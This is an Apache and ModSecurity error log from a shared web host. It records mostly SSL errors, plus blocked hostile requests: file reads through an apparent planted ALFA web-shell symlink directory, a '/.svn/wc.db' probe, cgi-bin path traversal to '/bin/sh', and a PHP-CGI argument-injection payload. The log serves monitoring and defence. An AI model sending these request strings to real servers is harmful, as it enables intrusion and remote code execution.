[Sat Oct 24 09:08:19.967165 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.203.237.170:47686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:25.566395 2026] [security2:error] [pid 2635684:tid 2635684] [client 106.53.209.241:35230] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "atytyfh8HbpaJ2ileDIjCwAAABE"]
[Sat Oct 24 09:08:26.667988 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 50.19.221.48:24798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:34.895108 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.223.232.55:21878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:39.214967 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 34.235.239.240:27213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource0
[Sat Oct 24 09:08:46.682448 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.232.36.1:40590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xhci_hcd/bind
[Sat Oct 24 09:08:54.649543 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.235.125.129:47694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:08:56.554513 2026] [security2:error] [pid 2627273:tid 2627273] [client 85.208.96.204:41532] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH.conf"] [unique_id "atyt6BdOhHN-18IxgZKrMAAAAAY"]
[Sat Oct 24 09:08:56.554874 2026] [security2:error] [pid 2627273:tid 2627273] [client 85.208.96.204:41532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH.conf"] [unique_id "atyt6BdOhHN-18IxgZKrMAAAAAY"]
[Sat Oct 24 09:08:56.555228 2026] [security2:error] [pid 2627273:tid 2627273] [client 85.208.96.204:41532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH.conf"] [unique_id "atyt6BdOhHN-18IxgZKrMAAAAAY"]
[Sat Oct 24 09:09:06.741981 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.28.57.133:51128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:10.886258 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.44.174.136:10273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:18.856173 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.29.128.75:28079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:34.784710 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.230.69.161:39730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:42.896182 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.215.59.93:8925] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:50.825401 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 34.234.206.30:52816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:09:55.500856 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.221.105.234:42430] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:05.556531 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.3:53316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/free_calls
[Sat Oct 24 09:10:14.794628 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.225.9.97:11442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:18.863486 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.10.183:29332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:30.765190 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.91.122.193:62308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:38.845588 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.206.65.8:31203] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:43.015231 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.213.202.136:17634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:46.817600 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.223.116.180:29230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:10:53.462936 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.19:45254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/red_zone
[Sat Oct 24 09:11:02.907463 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 3.221.156.96:62204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/uevent
[Sat Oct 24 09:11:08.636931 2026] [authz_core:error] [pid 2625272:tid 2625272] [client 192.36.110.16:24409] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Sat Oct 24 09:11:14.929976 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.207.207.36:29869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:11:23.028321 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 54.147.238.89:55851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/new_id
[Sat Oct 24 09:11:30.791482 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.239.197.197:37618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:11:39.421508 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.93.253.174:19885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:11:47.376323 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.1:50672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_multiport/sections/__mcount_loc
[Sat Oct 24 09:11:54.690594 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.214.251.19:2855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rescan
[Sat Oct 24 09:12:02.732828 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.203.65.83:65067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:14.670880 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 35.169.102.85:63744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:14.737204 2026] [security2:error] [pid 2635676:tid 2635676] [client 43.157.156.190:34056] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/zacson3/"] [unique_id "atyurmyV-56kZb5LgxTnrwAAAAE"]
[Sat Oct 24 09:12:18.904386 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.201:41362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/objects
[Sat Oct 24 09:12:20.725915 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.16:39716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/iomem_reg_shift
[Sat Oct 24 09:12:22.602014 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.204.37.237:56664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:26.652640 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 34.227.156.153:17662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:30.527052 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.157.84.74:32830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:31.076376 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.209:60602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_slabs
[Sat Oct 24 09:12:38.568940 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.206.249.188:59659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:07/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource1
[Sat Oct 24 09:12:46.499554 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 52.7.13.143:48045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:05.0/remove
[Sat Oct 24 09:12:50.542170 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.235.172.108:8588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:52.581368 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 85.208.96.208:30738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:54.386929 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.221.156.96:20172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:12:58.736495 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.162.69.192:5525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:03.506944 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.218.103.254:3333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:07.538752 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.207.47.227:30974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:09.379154 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.198:17600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/order
[Sat Oct 24 09:13:10.212776 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.70.123.241:10892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:10.453631 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 85.208.96.202:49330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:14.603168 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.206.93.215:31121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:15.825075 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.13:14396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/sanity_checks
[Sat Oct 24 09:13:18.547368 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.210.223.61:55947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:34.180590 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 98.82.38.120:59879] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:46.371055 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 34.236.41.241:37460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/rescan
[Sat Oct 24 09:13:50.248242 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.204.150.196:47586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:13:51.879702 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.212:33982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/min_partial
[Sat Oct 24 09:13:58.284066 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.212.131.50:8269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:02.215676 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.84.60.17:62222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:08.578495 2026] [security2:error] [pid 2635677:tid 2635677] [client 185.191.171.19:53416] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-fonts-persian.conf"] [unique_id "atyvIIWurp-t0SwAQgRp1AAAAAQ"]
[Sat Oct 24 09:14:08.579008 2026] [security2:error] [pid 2635677:tid 2635677] [client 185.191.171.19:53416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-fonts-persian.conf"] [unique_id "atyvIIWurp-t0SwAQgRp1AAAAAQ"]
[Sat Oct 24 09:14:08.579538 2026] [security2:error] [pid 2635677:tid 2635677] [client 185.191.171.19:53416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-fonts-persian.conf"] [unique_id "atyvIIWurp-t0SwAQgRp1AAAAAQ"]
[Sat Oct 24 09:14:14.872563 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.226.106.93:10421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:22.079778 2026] [core:crit] [pid 2635676:tid 2635676] (13)Permission denied: [client 71.6.242.205:48664] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:14:26.231171 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.28.118.16:49448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:38.175783 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.205.120.22:62855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:42.194736 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.215.59.93:1798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:54.170271 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.214.176.44:29736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:14:58.159511 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.221.156.96:52686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:02.175744 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.22.105.143:35308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:06.180669 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.90.244.132:56483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:08.048392 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.14:27126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/sanity_checks
[Sat Oct 24 09:15:10.188258 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.196.237.236:58576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:26.256595 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.250.48:65368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:28.573970 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.208:22186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/slabs_cpu_partial
[Sat Oct 24 09:15:38.164366 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 35.169.102.85:20167] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:46.300294 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 100.29.164.178:8471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:15:50.834971 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 44.223.116.149:45789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:1e/eject
[Sat Oct 24 09:16:06.310118 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.210.223.61:11470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:16:18.167641 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.212.205.90:27666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:16:21.916313 2026] [security2:error] [pid 2627309:tid 2627309] [client 193.32.162.164:59364] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atyvpV0Yuvqa3nuKpvNCoAAAAAk"]
[Sat Oct 24 09:16:21.916517 2026] [security2:error] [pid 2627309:tid 2627309] [client 193.32.162.164:59364] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atyvpV0Yuvqa3nuKpvNCoAAAAAk"]
[Sat Oct 24 09:16:21.916811 2026] [security2:error] [pid 2627309:tid 2627309] [client 193.32.162.164:59364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atyvpV0Yuvqa3nuKpvNCoAAAAAk"]
[Sat Oct 24 09:16:21.917120 2026] [security2:error] [pid 2627309:tid 2627309] [client 193.32.162.164:59364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atyvpV0Yuvqa3nuKpvNCoAAAAAk"]
[Sat Oct 24 09:16:22.156989 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.147.182.90:2775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:16:36.195272 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.198:34484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/slab_size
[Sat Oct 24 09:16:51.834353 2026] [core:error] [pid 2625330:tid 2625330] [client 13.140.242.159:53238] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sat Oct 24 09:16:52.145559 2026] [core:error] [pid 2635677:tid 2635677] [client 13.140.242.159:53248] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sat Oct 24 09:16:52.501610 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "atyvxBdOhHN-18IxgZKrQQAAAAY"]
